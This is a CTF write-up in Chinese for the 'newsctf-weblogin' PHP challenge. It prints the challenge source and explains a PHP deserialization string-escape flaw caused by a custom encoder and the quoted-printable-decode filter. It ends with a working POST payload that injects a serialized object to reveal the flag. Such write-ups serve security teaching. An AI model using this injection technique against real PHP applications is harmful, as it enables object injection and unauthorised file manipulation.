newsctf-weblogin
代码:
<?php session_start(); error_reporting(0); highlight_file(__FILE__); class Action { public $data; public $username; public $password; public $datafile; public $act; function __construct($username,$password,$datafile,$act){ $this->username = $username; $this->password = $password; $this->datafile = $datafile; $this->act = $act; } function check_login(){ $file = $this->datafile.'.data'; $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data; if (isset($data[$this->username])){ if ($data[$this->username] === $this->password){ $_SESSION['is_login'] = ture; $_SESSION['username'] = $this->username; echo '<script>alert("登录成功");window.location.href="/";</script>'; } else{ echo '<script>alert("密码错误");window.location.href="/index.php/login";</script>'; die(); } } else{ echo '<script>alert("用户名错误");window.location.href="/index.php/login";</script>'; die(); } } function registerd(){ $file = $this->datafile.'.data'; if(!file_exists($file)){ $p = new Action('','','',''); $p->data = array(); file_put_contents($file,enc(serialize($p))); } $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file))); $data = $p->data; if(isset($data[$this->username])){ echo '<script>alert("该用户已注册");window.location.href="/index.php/register";</script>'; } else{ $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file))); $p->data[$this->username] = $this->password; file_put_contents($file, enc(serialize($p))); echo '<script>alert("注册成功");window.location.href="/index.php/login";</script>'; } } function __destruct(){ if ($_SESSION['is_login']){ echo '<script>alert("该用户已登录");window.location.href="/";</script>'; } else{ if ($this->act === 'login'){ $this->check_login(); } if ($this->act === 'register'){ $this->registerd(); } } } } class Delete{ public $username; public $password; public $datafile; function __construct($datafile,$username,$password){ $this->username = $username; $this->password = $password; $this->datafile = $datafile; } function deleted(){ $file = $this->datafile.'.data'; if($this->username!==''&&$this->password!==''){ $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data; if(!isset($data[$this->username])){ echo '<script>alert("该用户不存在");window.location.href="/index.php/delete";</script>'; } else{ $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file))); $data = $p->data; if ($data[$this->username] === $this->password){ unset($p->data[$this->username]); file_put_contents($file,enc(serialize($p))); echo '<script>alert("该用户注销成功");window.location.href="/index.php/delete";</script>'; } else{ echo '<script>alert("密码错误");window.location.href="/index.php/delete";</script>'; } } } else { $p = new Action('','','',''); $p->data = array(); file_put_contents($file,enc(serialize($p))); echo '<script>alert("重置成功");window.location.href="/index.php/login";</script>'; } } function __destruct(){ $this->deleted(); } } class Logout{ function __destruct(){ unset($_SESSION['is_login']); echo '<script>alert("登出成功");window.location.href="/index.php/login";</script>'; } } function route($uri, Closure $_route) { $pathInfo = $_SERVER['REQUEST_URI'] ?? '/'; $pathInfo = preg_replace('/\?.*?$/is', '', $pathInfo); if (preg_match('#^' . $uri . '$#', $pathInfo, $matches)) { $_route($matches); exit(0); } } function enc($str){ $_str = ''; for($i=0;$i<strlen($str);$i++){ if ($str[$i] !== '='){ $_str = $_str.'='.dechex(ord($str[$i])); }else{ $_str = $_str.$str[$i].$str[$i+1].$str[$i+2]; $i = $i+2; } } return $_str; } function filter($str){ return preg_replace('/o:/', 'O:', $str); } route('/index.php/login', function () { $username = $_POST['username']??''; $password = $_POST['password']??''; if($username&&$password){ new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'login'); } }); route('/index.php/register', function () { $username = $_POST['username']??''; $password = $_POST['password']??''; if($username&&$password){ new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'register'); } }); route('/index.php/logout', function () { new Logout(); }); route('/index.php/delete', function () { if(isset($_POST['username'])&&isset($_POST['password'])){ new Delete('user_'.md5($_SERVER['REMOTE_ADDR']),$_POST['username'],$_POST['password']); } }); route('/', function () { if (!$_SESSION['is_login']){ echo '<script>alert("请先登录");window.location.href="/index.php/login";</script>'; } echo '<h1>hello '.$_SESSION['username'].'</h1>'; }); route('/index.php/flag', function () { echo $_SERVER['REMOTE_ADDR'].'</br>'; $flaag = 'flag'.md5($_SERVER['REMOTE_ADDR']); echo($flaag.'</br>'); include('flag.php'); $list = scandir('./'); foreach ($list as $file) { if ($file === $flaag.'.data'){ echo $flag; } } });
1、路由/index.php/flag
route('/index.php/flag', function () { echo $_SERVER['REMOTE_ADDR'].'</br>'; $flaag = 'flag'.md5($_SERVER['REMOTE_ADDR']); echo($flaag.'</br>'); include('flag.php'); $list = scandir('./'); foreach ($list as $file) { if ($file === $flaag.'.data'){ echo $flag; } } });
会将ip输出,在flag的md5值前面加上字符串flag,然后通过scandir列出当前目录下的文件,如果有当前ip地址的md5值的.data文件就会输出flag。('flag'+'md5(ip地址)'+'.date')
2、enc函数
function enc($str){ $_str = ''; for($i=0;$i<strlen($str);$i++){ if ($str[$i] !== '='){ $_str = $_str.'='.dechex(ord($str[$i])); }else{ $_str = $_str.$str[$i].$str[$i+1].$str[$i+2]; $i = $i+2; } } return $_str; }
这里会对数据进行加密,对数据进行遍历,如果该字符不全等于'=',就会将其转换为'='+(该字符的十六进制),但是由于这里的字符全等于'=',那么对这个以及后面的两个字符保持不变。所以这里就产生了字符串逃逸。如果使用file_put_contents()函数写入的数据已经是用enc函数加密过的话,那么再经过‘php://filter/read=convert.quoted-printable-decode/resource=’ 伪协议之后,每三个字符串就会变成一个字符串。
3、注册路由/index.php/register
route('/index.php/register', function () { $username = $_POST['username']??''; $password = $_POST['password']??''; if($username&&$password){ new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'register'); } });
如果post传入了username和password变量之后就会实例化一个Action对象。
类Action中的register函数:
function registerd(){ $file = $this->datafile.'.data'; if(!file_exists($file)){ $p = new Action('','','',''); $p->data = array(); file_put_contents($file,enc(serialize($p))); } $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file))); $data = $p->data; if(isset($data[$this->username])){ echo '<script>alert("该用户已注册");window.location.href="/index.php/register";</script>'; } else{ $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file))); $p->data[$this->username] = $this->password; file_put_contents($file, enc(serialize($p))); echo '<script>alert("注册成功");window.location.href="/index.php/login";</script>'; } }
反序列化之后如果$p->data[$this->username]不存在就会将$this->password赋值给$p->[$this->username]。
username='1jzz' password='1jzz',正常注册
class Action { public $data=array('1jzz'=>'1jzz'); public $username='1jzz'; public $password='1jzz'; public $datafile='user_'; //'user_'.md5($_SERVER['REMOTE_ADDR']) public $act='register'; //'register' }
class Action { public $data=array('=60=60=60=60'=>';s:4:"1jzz";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:36:"flagb673987bf704bda11cdc921cd26b6958";s:3:"act";s:8:"register";} '); public $username='1jzz'; public $password='1jzz'; public $datafile='user_'; //'user_'.md5($_SERVER['REMOTE_ADDR']) public $act='register'; //'register' }
反序列化:
O:6:"Action":5:{s:4:"data";a:1:{s:12:"=60=60=60=60";s:152:";s:4:"1jzz";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:36:"flagb673987bf704bda11cdc921cd26b6958";s:3:"act";s:8:"register";}";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:5:"user_";s:3:"act";s:8:"register";}
4个=60在读取文件之后将会变成4个`,就可以向后吞8个字符串,就变成了:
O:6:"Action":5:{s:4:"data";a:1:{s:12:"````";s:152:";s:4:"1jzz";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:36:"flagb673987bf704bda11cdc921cd26b6958";s:3:"act";s:8:"register";}";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:5:"user_";s:3:"act";s:8:"register";}
原本的内容"=60=60=60=60"则变成了"````";s152:" 。最后再在/index.php/flag路由中读取flag
payload:
username==60=60=60=60&password=;s:4:"1jzz";}s:8:"username";s:4:"1jzz";s:8:"password";s:4:"1jzz";s:8:"datafile";s:36:"flagb673987bf704bda11cdc921cd26b6958";s:3:"act";s:8:"register";}